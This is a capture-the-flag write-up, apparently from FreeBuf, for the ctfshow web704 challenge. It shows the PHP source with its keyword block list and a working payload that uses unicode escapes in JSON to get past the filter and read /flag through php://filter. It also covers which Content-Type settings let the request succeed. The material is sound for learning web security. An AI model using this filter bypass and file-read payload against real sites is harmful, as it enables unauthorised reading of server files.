[ctfshow]web704[HarekazeCTF2019]encode_and_encode中的一个json问题

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户，每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序把安全装进口袋

Web安全

^{0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
90
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9}

[ctfshow]web704[HarekazeCTF2019]encode_and_encode中的一个json问题

Morysummer 2023-01-15 14:19:01 25903

所属地河南省

本文由 Morysummer 创作，已纳入「FreeBuf原创奖励计划」，未授权禁止转载

题目代码

<?php
error_reporting(0);

if (!isset($_GET['source'])) {
  show_source(__FILE__);
  exit();
}

function is_valid($str) {
  $banword = [
    // no path traversal
    '\.\.',
    // no stream wrapper
    '(php|file|glob|data|tp|zip|zlib|phar):',
    // no data exfiltration
    'flag'
  ];
  $regexp = '/' . implode('|', $banword) . '/i';
  if (preg_match($regexp, $str)) {
    return false;
  }
  return true;
}

$body = file_get_contents('php://input');
$json = json_decode($body, true);

if (is_valid($body) && isset($json) && isset($json['page'])) {
  $page = $json['page'];
  $content = file_get_contents($page);
  if (!$content || !is_valid($content)) {
    $content = "<p>not found</p>\n";
  }
} else {
  $content = '<p>invalid request</p>';
}

// no data exfiltration!!!
$content = preg_replace('/ctfshow\{.+\}/i', 'ctfshow{&lt;censored&gt;}', $content);
echo json_encode(['content' => $content]);

解题

代码里有$content = file_get_contents($page)file_get_contents和伪协议配合可以达到我们的效果
php，flag等关键词被过滤了，但在json中可以用unicode绕过。

payload:
GET：?source=1
POST：POST：{"page":"\u0070\u0068\u0070://filter/convert.base64-encode/resource=/\u0066\u006C\u0061\u0067"}（即{"page":"php://filter/convert.base64-encode/resource=/flag"}）

关于json和Content-Type的问题

经测试，hackbar发包时entype为
application/x-www-form-urlencoded (raw)和 application/json是可以的
可以看下发包对比图：

而hackba默认的entype为application/x-www-form-urlencoded会对body中的json进行url编码，导致失败